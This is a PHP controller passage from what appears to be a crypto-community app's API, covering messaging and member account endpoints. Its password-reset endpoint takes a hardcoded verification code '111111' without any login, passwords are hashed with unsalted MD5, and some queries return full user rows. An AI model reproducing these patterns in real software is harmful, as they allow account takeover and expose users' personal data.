\* @apiParam {String} type\_id 消息分类ID（必填）

\* @apiParam {String} member\_id 消息接收者ID（必填）

\* @apiParam {String} article\_id 资讯ID（非必填）

\* @apiParam {String} circle\_id 社区ID（非必填）

\* @apiParam {String} circle\_article\_id 社区动态ID（非必填）

\* @apiParam {String} coin\_id 虚拟币ID（非必填）

\* @apiParam {String} exchange 交易所（非必填）

\* @apiParam {String} symbol 交易对（非必填）

\* @apiParam {String} content 消息内容（必填）

\* @apiParam {String} link 相关链接（非必填）

\* @apiSuccess {String} ret 用户消息发送成功

\* @apiError {String} err 用户消息发送失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function send()

{

if ($this->memberId) {

$data['sender\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后发送消息',

'errcode' => 222,

]);

}

$data['type\_id'] = input('param.type\_id', '');

if ($data['type\_id'] == '') {

return json([

'err' => '消息分类ID不可为空',

]);

}

$data['recipient\_id'] = input('param.member\_id', '');

if ($data['recipient\_id'] == '') {

return json([

'err' => '消息接收者ID不可为空',

]);

}

$data['article\_id'] = input('param.article\_id', '');

$data['circle\_id'] = input('param.circle\_id', '');

$data['circle\_article\_id'] = input('param.circle\_article\_id', '');

$data['coin\_id'] = input('param.coin\_id', '');

$data['exchange'] = input('param.exchange', '');

$data['symbol'] = input('param.symbol', '');

$data['content'] = input('param.content', '');

if ($data['content'] == '') {

return json([

'err' => '用户消息内容不可为空',

]);

}

$data['link'] = input('param.link', '');

$data['read'] = 0;

$data['create\_time'] = time();

$message\_id = Db::name('message')

->insertGetId($data);

if ($message\_id) {

return json([

'ret' => '用户消息发送成功',

]);

}

return json([

'err' => '用户消息发送失败，请稍后重试',

]);

}

/\*\*

\* @api {post} /api/message/read 阅读消息｜标记消息状态为已读

\* @apiName 阅读消息｜标记消息状态为已读

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} message\_id 用户消息ID（必填）

\* @apiSuccess {String} ret 用户阅读消息成功

\* @apiError {String} err 用户阅读消息失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function read()

{

if ($this->memberId) {

$data['recipient\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后加入消息',

'errcode' => 222,

]);

}

$data['id'] = input('param.message\_id', '');

if ($data['id'] == '') {

return json([

'err' => '用户消息ID不可为空',

]);

}

$message = Db::name('message')

->where($data)

->find();

if (!empty($message)) {

if ($message['read'] == 0) {

Db::name('message')

->where($data)

->update([

'read' => 1,

]);

}

return json([

'ret' => '用户阅读消息成功',

]);

}

return json([

'err' => '该用户消息不存在',

]);

}

/\*\*

\* @api {get} /api/message/index 获取当前用户的消息列表

\* @apiName 获取当前用户的消息列表

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} type\_id 消息分类ID（非必填：1-@我；2-提醒和回复；3-系统公告；4-价格提醒）

\* @apiParam {Integer} read 消息分类是否已读（非必填：0-未读；1-已读）

\* @apiSuccess {Json} result 当前用户的消息列表

\* @apiSuccess {String} id 用户消息ID

\* @apiSuccess {String} type\_id 用户消息类型ID

\* @apiSuccess {String} type\_name 用户消息类型名称

\* @apiSuccess {String} article\_id 资讯ID

\* @apiSuccess {String} circle\_id 社区ID

\* @apiSuccess {String} circle\_article\_id 社区动态ID

\* @apiSuccess {String} coin\_name 虚拟币名称

\* @apiSuccess {String} exchange 交易所

\* @apiSuccess {String} symbol 交易对

\* @apiSuccess {String} content 用户消息内容

\* @apiSuccess {String} link 用户消息相关链接

\* @apiSuccess {String} sender\_username 用户消息发送者姓名

\* @apiSuccess {String} sender\_img 用户消息发送者头像URL

\* @apiSuccess {Integer} follow 当前用户是否关注该消息发送者：1-是；0-否

\* @apiSuccess {Integer} create\_time 用户消息发送时间

\* @apiSuccess {Integer} update\_time 用户消息阅读时间

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function index()

{

if ($this->memberId) {

$data['recipient\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$type\_id = input('param.type\_id', '');

$read = input('param.read', '');

if ($type\_id != '') {

$data['type\_id'] = $type\_id;

}

if ($read != '') {

$data['read'] = $read;

}

$my\_messages = Db::name('message')

->where($data)

->order(['`read`' => 'asc', 'create\_time' => 'desc'])

->select();

if (count($my\_messages) > 0) {

foreach ($my\_messages as $key => $my\_message) {

$my\_messages[$key]['sender\_username'] = '';

$my\_messages[$key]['sender\_img'] = '';

$my\_messages[$key]['follow'] = 0;

$sender = \_user($my\_message['sender\_id']);

if (!empty($sender)) {

$my\_messages[$key]['sender\_username'] = $sender['username'];

$my\_messages[$key]['sender\_img'] = $sender['img'] . "?imageView2/1/w/100/h/100";

}

if ($this->memberId) {

$my\_messages[$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $my\_message['sender\_id'])

->where('uid', $this->memberId)

->count('id');

}

$my\_messages[$key]['type\_name'] = '';

if ($my\_message['type\_id']) {

$my\_messages[$key]['type\_name'] = Db::name('message\_type')

->where('id', $my\_message['type\_id'])

->value('title');

}

/\*$my\_messages[$key]['coin\_name'] = '';

if ($my\_message['coin\_id']) {

$coin = Db::name('coin')

->where('id', $my\_message['coin\_id'])

->find();

if (!empty($coin)) {

$my\_messages[$key]['coin\_name'] = $coin['currency'];

}

}\*/

}

}

return json($my\_messages);

}

/\*\*

\* @api {get} /api/message/unread\_num 获取当前用户的未读消息数

\* @apiName 获取当前用户的未读消息数

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} type\_id 消息分类ID（非必填：1-@我；2-提醒和回复；3-系统公告；4-价格提醒）

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {Integer} unread\_num 当前用户的未读消息数

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function unread\_num()

{

if ($this->memberId) {

$data['recipient\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$type\_id = input('param.type\_id', '');

if ($type\_id != '') {

$data['type\_id'] = $type\_id;

}

$data['read'] = 0;

$unread\_num = Db::name('message')

->where($data)

->count('id');

return json([

'unread\_num' => $unread\_num,

]);

}

/\*\*

\* @api {get} /api/message/info 获取消息详情

\* @apiName 获取消息详情

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} message\_id 用户消息ID（必填）

\* @apiSuccess {Json} result 用户消息详情数据

\* @apiSuccess {Integer} id 用户消息ID（1-@我；2-提醒和回复；3-系统公告；4-价格提醒）

\* @apiSuccess {String} type\_id 用户消息类型ID

\* @apiSuccess {String} type\_name 用户消息类型名称

\* @apiSuccess {String} article\_id 资讯ID

\* @apiSuccess {String} circle\_id 社区ID

\* @apiSuccess {String} circle\_article\_id 社区动态ID

\* @apiSuccess {String} coin\_id 虚拟币ID

\* @apiSuccess {String} coin\_name 虚拟币名称

\* @apiSuccess {String} exchange 交易所

\* @apiSuccess {String} symbol 交易对

\* @apiSuccess {String} content 用户消息内容

\* @apiSuccess {String} link 用户消息相关链接

\* @apiSuccess {String} sender\_username 用户消息发送者姓名

\* @apiSuccess {String} sender\_img 用户消息发送者头像URL

\* @apiSuccess {Integer} sender\_follow\_num 用户消息发送者关注人数

\* @apiSuccess {Integer} sender\_article\_num 用户消息发送者发表文章数量

\* @apiSuccess {Integer} follow 当前用户是否关注该消息发送者：1-是；0-否

\* @apiSuccess {Integer} create\_time 用户消息发送时间

\* @apiSuccess {Integer} update\_time 用户消息阅读时间

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function info()

{

if ($this->memberId) {

$data['recipient\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$message\_id = input('param.message\_id', '');

if ($message\_id) {

$data['id'] = $message\_id;

} else {

return json([

'err' => '用户消息ID不可为空',

]);

}

$message = Db::name('message')

->where($data)

->find();

if (!empty($message)) {

if ($message['read'] == 0) {

Db::name('message')

->where($data)

->update([

'read' => 1,

]);

}

$message['sender\_username'] = '';

$message['sender\_img'] = '';

$message['sender\_follow\_num'] = 0;

$message['sender\_article\_num'] = 0;

$message['follow'] = 0;

$sender = \_user($message['sender\_id']);

if (!empty($sender)) {

$message['sender\_username'] = $sender['username'];

$message['sender\_img'] = $sender['img'] . "?imageView2/1/w/100/h/100";

$message['sender\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $message['sender\_id'])

->count('id');

$message['sender\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $message['sender\_id'])

->count('id');

$message['sender\_article\_num'] += Db::name('article')

->where('uid', $message['sender\_id'])

->count('id');

}

if ($this->memberId) {

$message['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $message['sender\_id'])

->where('uid', $this->memberId)

->count('id');

}

$message['type\_name'] = '';

if ($message['type\_id']) {

$message['type\_name'] = Db::name('message\_type')

->where('id', $message['type\_id'])

->value('title');

}

/\*$message['coin\_name'] = '';

if ($message['coin\_id']) {

$coin = Db::name('coin')

->where('id', $message['coin\_id'])

->find();

if (!empty($coin)) {

$message['coin\_name'] = $coin['currency'];

}

}\*/

return json($message);

} else {

return json([

'err' => '该用户消息不存在',

]);

}

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\db\Query;

use think\Request;

use think\Session;

use think\Validate;

use Qiniu\Auth as Auth;

use Qiniu\Storage\UploadManager;

set\_time\_limit(0);

class Member extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

} else {

return json([

'err' => 'Token不正确，请重新获取Token',

'errcode' => 222,

]);

}

} else {

return json([

'err' => 'Token不可为空',

'errcode' => 222,

]);

}

}

public function index()

{

return json(\_ajaxError());

}

/\*\*

\* @api {post} /api/member/info 获取会员信息

\* @apiName 获取会员信息

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiSuccess {Json} ret 用户公开信息

\* @apiSuccess {Integer} id 用户ID

\* @apiSuccess {String} nickname 用户昵称

\* @apiSuccess {String} mobile 用户手机

\* @apiSuccess {String} email 用户邮箱

\* @apiSuccess {String} img 用户头像URL

\* @apiSuccess {String} username 用户名称

\* @apiSuccess {String} qianming 用户签名

\* @apiSuccess {Array} guanzhu 用户关注列表

\* @apiSuccess {Integer} fensi 用户粉丝数

\* @apiSuccess {Integer} dongtai 用户动态数

\* @apiSuccess {Integer} fangke 用户访客数

\* @apiSuccess {Integer} huozan 用户获赞数

\* @apiSuccess {Integer} article\_num 发布文章数量

\* @apiSuccess {Integer} circle\_num 加入圈子数量

\* @apiSuccess {String} create\_time 用户创建时间（时间戳格式）

\* @apiSuccess {String} update\_time 最后登录时间

\* @apiError {String} err 失败信息

\*/

public function info()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}

$member = \_user($this->memberId);

$member['dongtai'] = Db::name('circle\_article')

->where('circle\_id', 'null')

->where('member\_id', $this->memberId)

->count('id');

$member['fensi'] = Db::name('member\_guanzhu')->where(['gz\_uid' => $member['id']])->count('id');

$member['fangke'] = Db::name('member\_fangke')->where(['f\_uid' => $member['id']])->field('f\_uid')->whereTime('time', 'week')->count('id');

$member['huozan'] = Db::name('article\_ping\_zan')->where(['uid' => $member['id']])->count('id');

$guanzhu = Db::name('member\_guanzhu')->where(['uid' => $member['id']])->field('gz\_uid')->limit(6)->select();

foreach ($guanzhu as $k => $v) {

$user = \_user($v['gz\_uid']);

if (!empty($user)) {

$guanzhu[$k]['username'] = $user['username'];

$guanzhu[$k]['img'] = $user['img'];

$guanzhu[$k]['uid'] = $user['id'];

}

}

$member['guanzhu'] = $guanzhu;

$member['password'] = '';

$member['article\_num'] = Db::name('circle\_article')

->where('member\_id', $this->memberId)

->count('id');

$member['circle\_num'] = Db::name('circle\_member')

->where('member\_id', $this->memberId)

->where('follow', 1)

->count('id');

return json(['ret' => $member]);

}

/\*\*

\* @api {post} /api/member/nickname 修改会员昵称

\* @apiName 修改会员昵称

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} nickname 用户昵称（必填）

\* @apiSuccess {String} ret 修改成功信息

\* @apiError {String} err 修改失败信息

\*/

public function nickname()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}

$nickname = input('param.nickname', '', 'strip\_tags');

$validate = new Validate([

'nickname|昵称' => 'require|max:30',

]);

$validata = [

'nickname' => $nickname,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$data = Db::name('member')

->where('id', $this->memberId)

->update([

'nickname' => $nickname,

]);

if ($data) {

return json([

'ret' => '修改成功',

]);

} else {

return json([

'err' => '修改失败',

'errcode' => 501,

]);

}

}

/\*\*

\* @api {post} /api/member/qianming 修改会员签名

\* @apiName 修改会员签名

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} qianming 用户签名（必填）

\* @apiSuccess {String} ret 修改成功信息

\* @apiError {String} err 修改失败信息

\*/

public function qianming()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}

$qianming = input('param.qianming', '', 'strip\_tags');

$validate = new Validate([

'qianming|签名' => 'require',

]);

$validata = [

'qianming' => $qianming,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$data = Db::name('member')

->where('id', $this->memberId)

->update([

'qianming' => $qianming,

]);

if ($data) {

return json([

'ret' => '修改成功',

]);

} else {

return json([

'err' => '修改失败',

'errcode' => 501,

]);

}

}

/\*\*

\* @api {post} /api/member/avatar 修改会员头像

\* @apiName 修改会员头像

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} image 用户头像（七牛图片文件名，eg. 042e820210812091212723761.jpg）（必填）

\* @apiSuccess {String} ret 修改成功信息

\* @apiError {String} err 修改失败信息

\*/

public function avatar()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}

$image = input('param.image', '');

$validate = new Validate([

'image|头像' => 'require',

]);

$validata = [

'image' => $image,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$data = Db::name('member')

->where('id', $this->memberId)

->update([

'img' => $image,

]);

if ($data) {

return json([

'ret' => '修改成功',

]);

} else {

return json([

'err' => '修改失败',

'errcode' => 501,

]);

}

}

public function touxiang()

{

if (request()->isPost()) {

$file = request()->file('image');

$filePath = $file->getRealPath();

if (!$filePath) {

return json([

'err' => '非法操作',

'errcode' => 202,

]);

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi = ['jpg', 'png', 'gif', 'jpeg', 'JPEG', 'JPG', 'GIF', 'PNG'];

if (!in\_array($ext, $geshi)) {

return json([

'err' => '图片格式不对，请换张图片吧',

'errcode' => 202,

]);

}

$key = substr(md5($file->getRealPath()), 0, 5) . date('YmdHis') . rand(100, 999999) . '.jpg';

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

return json([

'err' => $err,

'code' => 202,

]);

} else {

Db::name('member')->where('id', $this->memberId)->update(['img' => $ret['key']]);

return json(['ret' => $domain . '/' . $ret['key'], 'code' => 0]);

}

}

exit();

$file = request()->file('image');

$info = $file->validate(['size' => 105678, 'ext' => 'jpg,png,gif,jpeg'])->move(ROOT\_PATH . 'public' . DS . 'uploads' . DS . 'touimg');

if ($info) {

$img = '/public/uploads/touimg/' . $info->getSaveName();

$img = str\_replace('\\', '/', $img);

$where['img'] = $img;

Db::name('member')->where('id', $this->memberId)->update($where);

return json([

'ret' => $img,

]);

} else {

return json([

'err' => $file->getError(),

'errcode' => 202,

]);

}

}

/\*\*

\* @api {post} /api/member/mobile 修改会员手机号码

\* @apiName 修改会员手机号码

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} mobile 用户手机号码（必填）

\* @apiParam {String} code 手机验证码（必填, 验证码类型 text: 绑定）

\* @apiSuccess {String} ret 修改成功信息

\* @apiError {String} err 修改失败信息

\*/

public function mobile()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}

$mobile = input('param.mobile', '');

if (!$mobile) {

return json([

'err' => '请填写绑定手机号码',

'errcode' => 201,

]);

}

if (!\_isMobile($mobile)) {

return json([

'err' => '手机号码格式错误，请填写正确手机号码',

'errcode' => 202,

]);

}

if ($this->member['mobile'] && $this->member['mobile'] == $mobile) {

return json([

'err' => '您已经绑定了该手机号码',

'errcode' => 502,

]);

}

$code = input('param.code', '');

if (!$code) {

return json([

'err' => '请填写手机验证码',

'errcode' => 201,

]);

}

$data = \_codechecking($code, $mobile);

if ($data != 1) {

return json([

'err' => $data,

'errcode' => 303,

]);

}

$member = DB::name('member')->where('mobile', $mobile)->value('id');

if ($member) {

return json([

'err' => '该手机号码已被其他用户绑定，请重新换手机号码',

'errcode' => 304,

]);

}

/\*if ($this->member['mobile']) {

return json([

'err' => '您已经绑定过该手机号码，如需要解绑请联系客服',

'errcode' => 502,

]);

}\*/

$db = Db::name('member')

->where('id', $this->memberId)

->setField('mobile', $mobile);

if ($db) {

$recording = \_records($this->memberId, '修改手机号码');

$data = ['ret' => '修改手机号码成功'];

} else {

$data = [

'err' => '修改手机号码失败',

'errcode' => 501,

];

}

return json($data);

}

public function email()

{

$username = input('param.username') ? input('param.username') : '';

if (!$username) return ['err' => '请填写绑定手机号码'];

if (!\_isEmail($username)) return ['err' => '邮箱格式错误，请填写正确邮箱'];

$code = input('param.code') ? input('param.code') : '';

if (!$code) return ['err' => '请填写邮箱验证码'];

$data = \_codechecking($code, $username);

if ($data != 1) {

return json([

'err' => $data,

'errcode' => 303,

]);

}

$member = DB::name('member')->where('email', $username)->value('id');

if ($member) {

return json([

'err' => '邮箱已被其他用户绑定，请重新换邮箱',

'errcode' => 305,

]);

}

if ($this->member['email']) {

return json([

'err' => '您已经绑定过邮箱，如需要解绑请联系客服',

'errcode' => 502,

]);

}

$db = Db::name('member')->where('id', $this->memberId)->setField('email', $username);

if ($db) {

$recording = \_records($this->memberId, '绑定邮箱');

$data = [

'ret' => '绑定邮箱成功',

];

} else {

$data = [

'err' => '绑定邮箱失败',

'errcode' => 501,

];

}

return json($data);

}

/\*\*

\* @api {post} /api/member/password 修改会员密码

\* @apiName 修改会员密码

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} old\_password 用户原密码（必填）

\* @apiParam {String} new\_password 用户新密码（必填）

\* @apiSuccess {String} ret 修改成功信息

\* @apiSuccess {String} token 新的用户Token

\* @apiError {String} err 修改失败信息

\*/

public function password()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}

$old\_password = input('param.old\_password', '');

$new\_password = input('param.new\_password', '');

if (!$old\_password) {

return json([

'err' => '原密码不可为空',

'errcode' => 201,

]);

}

if (md5($old\_password) != $this->member['password']) {

return json([

'err' => '原密码错误',

'errcode' => 204,

]);

}

if (!$new\_password) {

return json([

'err' => '新密码不可为空',

'errcode' => 201,

]);

}

if (md5($old\_password) == md5($new\_password)) {

return json([

'err' => '原密码和新密码不允许相同',

'errcode' => 205,

]);

}

if (md5($new\_password) == $this->member['password']) {

return json([

'err' => '原密码和新密码不允许相同',

'errcode' => 205,

]);

}

$db = Db::name('member')

->where('id', $this->memberId)

->setField('password', md5($new\_password));

$token = \_encrypt($this->memberId . '|www.ffxiang.cn|' . md5($new\_password));

if ($db) {

$recording = \_records($this->memberId, '修改密码');

$data = [

'ret' => '修改密码成功',

'token' => $token,

];

} else {

$data = [

'err' => '修改密码失败',

'errcode' => 501,

];

}

return json($data);

}

/\*\*

\* @api {post} /api/member/reset\_password 重置会员密码

\* @apiName 重置会员密码

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} mobile 用户手机号（必填）

\* @apiParam {String} password 用户密码（必填）

\* @apiParam {String} code 短信验证码（必填, 暂时测试用：111111）

\* @apiSuccess {String} ret 重置密码成功信息

\* @apiSuccess {String} token 新的用户Token

\* @apiError {String} err 重置密码失败信息

\*/

public function reset\_password()

{

/\*if (!$this->memberId) {

return json([

'err' => '请先登录账号，Token不可为空',

'errcode' => 222,

]);

}\*/

$mobile = input('param.mobile', '');

if (!$mobile) {

return json([

'err' => '请填写绑定手机号码',

'errcode' => 201,

]);

}

if (!\_isMobile($mobile)) {

return json([

'err' => '手机号码格式错误，请填写正确手机号码',

'errcode' => 202,

]);

}

$password = input('param.password', '');

if (!$password) {

return json([

'err' => '请填写用户密码',

'errcode' => 201,

]);

}

$code = input('param.code', '');

if (!$code) {

return json([

'err' => '请填写手机验证码',

'errcode' => 201,

]);

}

if ($code != '111111') {

return json([

'err' => '手机验证码错误',

'errcode' => 303,

]);

}

/\*$data = \_codechecking($code, $mobile);

if ($data != 1) {

return json([

'err' => $data,

'errcode' => 303,

]);

}\*/

$member = DB::name('member')->where('mobile', $mobile)->find();

if (empty($member)) {

return json([

'err' => '该手机号码没有对应的绑定用户，请重新换手机号码',

'errcode' => 306,

]);

}

if ($member['password'] == md5($password)) {

return json([

'ret' => '重置密码成功',

'token' => \_encrypt($member['id'] . '|www.ffxiang.cn|' . $member['password']),

]);

}

$db = Db::name('member')

->where('id', $member['id'])

->setField('password', md5($password));

$token = \_encrypt($member['id'] . '|www.ffxiang.cn|' . md5($password));

if ($db) {

$recording = \_records($member['id'], '重置密码');

$data = [

'ret' => '重置密码成功',

'token' => $token,

];

} else {

$data = [

'err' => '重置密码失败',

'errcode' => 501,

];

}

return json($data);

}

/\*\*

\* @api {post} /api/member/follow\_member 关注｜取消关注会员

\* @apiName 关注｜取消关注会员

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} member\_id 会员ID（必填）

\* @apiSuccess {String} ret 用户关注｜取消关注会员成功

\* @apiSuccess {Integer} follow 标识位：1-已关注；0-已取消关注

\* @apiError {String} err 用户关注会员失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function follow\_member()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后关注会员',

'errcode' => 222,

]);

}

$member\_id = input('param.member\_id', '');

if ($member\_id == '') {

return json([

'err' => '会员ID不可为空',

'errcode' => 201,

]);

} else if ($member\_id == $this->memberId) {

return json([

'err' => '用户不可以关注自己',

'errcode' => 201,

]);

} else {

$member = Db::name('member')

->where('id', $member\_id)

->find();

if (!empty($member)) {

$data['gz\_uid'] = $member\_id;

$member\_guanzhu = Db::name('member\_guanzhu')

->where($data)

->find();

if (!empty($member\_guanzhu)) {

Db::name('member\_guanzhu')

->where($data)

->delete();

return json([

'ret' => '用户取消关注会员成功',

'follow' => 0,

]);

} else {

$data['time'] = time();

$member\_guanzhu\_id = Db::name('member\_guanzhu')

->insertGetId($data);

if ($member\_guanzhu\_id) {

return json([

'ret' => '用户关注会员成功',

'follow' => 1,

]);

}

}

} else {

return json([

'err' => '该会员不存在',

'errcode' => 221,

]);

}

}

return json([

'err' => '用户关注会员失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/member/suggested\_members 推荐关注的会员列表（你的好友还关注了）

\* @apiName 推荐关注的会员列表（你的好友还关注了）

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiSuccess {Json} ret 返回数据

\* @apiSuccess {String} ret.username 推荐关注的会员名称

\* @apiSuccess {String} ret.img 推荐关注的会员头像URL

\* @apiSuccess {Integer} ret.follow 当前用户是否已经关注该会员：1-是；0-否

\* @apiError {String} err 用户关注会员失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function suggested\_members()

{

if ($this->memberId) {

$where['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$suggested\_members = [];

$followed\_member\_ids = [];

$to\_be\_followed\_member\_ids = [];

$followed\_members = Db::name('member\_guanzhu')

->field('gz\_uid')

->where($where)

->select();

if (count($followed\_members) > 0) {

foreach ($followed\_members as $followed\_member) {

$followed\_member\_ids[] = $followed\_member['gz\_uid'];

}

$followed\_member\_ids[] = $this->memberId;

if (count($followed\_member\_ids) > 0) {

$to\_be\_followed\_members = Db::name('member\_guanzhu')

->field('gz\_uid')

->where('uid', 'in', $followed\_member\_ids)

->where('gz\_uid', 'not in', $followed\_member\_ids)

->select();

} else {

$to\_be\_followed\_members = Db::name('member\_guanzhu')

->field('gz\_uid')

->limit(10)

->select();

}

if (count($to\_be\_followed\_members) > 0) {

foreach ($to\_be\_followed\_members as $to\_be\_followed\_member) {

$to\_be\_followed\_member\_ids[] = $to\_be\_followed\_member['gz\_uid'];

}

}

}

if (count($to\_be\_followed\_member\_ids) >= 4) {

$suggested\_members = Db::name('member')

->where('id', 'in', $to\_be\_followed\_member\_ids)

->limit(4)

->select();

} else if (count($followed\_member\_ids) > 0) {

$suggested\_members = Db::name('member')

->where('is\_elite', 1)

->where('id', 'not in', $followed\_member\_ids)

->limit(4)

->select();

} else {

$suggested\_members = Db::name('member')

->order('is\_elite', 'desc')

->limit(4)

->select();

}

if (count($suggested\_members) > 0) {

foreach ($suggested\_members as $key => $suggested\_member) {

if ($suggested\_member['nickname']) {

$suggested\_members[$key]['username'] = $suggested\_member['nickname'];

} else if ($suggested\_member['user']) {

$suggested\_members[$key]['username'] = $suggested\_member['user'];

} else if ($suggested\_member['mobile']) {

$suggested\_members[$key]['username'] = substr($suggested\_member['mobile'], 0, 3) . '\*\*\*\*' . substr($suggested\_member['mobile'], 7, 4);

} else if ($suggested\_member['email']) {

$suggested\_members[$key]['username'] = $suggested\_member['email'];

} else {

$suggested\_members[$key]['username'] = '用户' . \_userName\_id($suggested\_member['id']);

}

$suggested\_members[$key]['img'] = $suggested\_member['img'] ? \_imgUrl() . $suggested\_member['img'] : '/public/style/index/member/img/userimg.gif';

$suggested\_members[$key]['follow'] = 0;

/\*$suggested\_members[$key]['follow'] = Db::name('member\_guanzhu')

->where('uid', $this->memberId)

->where('gz\_uid', $suggested\_member['id'])

->count('id');\*/

}

}

return json($suggested\_members);

}

/\*\*

\* @api {get} /api/member/fans 粉丝列表

\* @apiName 粉丝列表

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Number} page 页码

\* @apiParam {Number} per\_page 每页显示数量

\* @apiSuccess {Json} result 返回粉丝列表数据

\* @apiSuccess {Number} total 总记录数

\* @apiSuccess {Number} per\_page 每页显示数量

\* @apiSuccess {Number} current\_page 当前页码

\* @apiSuccess {List} data 数据集合

\* @apiSuccess {String} data.username 粉丝名称

\* @apiSuccess {String} data.img 粉丝头像URL

\* @apiSuccess {Integer} data.follow 当前用户是否已经关注该会员：1-是；0-否

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function fans()

{

if ($this->memberId) {

$where['gz\_uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$fans\_ids = [];

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$fans = Db::name('member\_guanzhu')

->field('uid')

->where($where)

->select();

if (count($fans) > 0) {

foreach ($fans as $fans\_member) {

$fans\_ids[] = $fans\_member['uid'];

}

$fans\_members = Db::name('member')

->where('id', 'in', $fans\_ids)

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($fans\_members['data']) > 0) {

foreach ($fans\_members['data'] as $key => $fans\_member) {

if ($fans\_member['nickname']) {

$fans\_members['data'][$key]['username'] = $fans\_member['nickname'];

} else if ($fans\_member['user']) {

$fans\_members['data'][$key]['username'] = $fans\_member['user'];

} else if ($fans\_member['mobile']) {

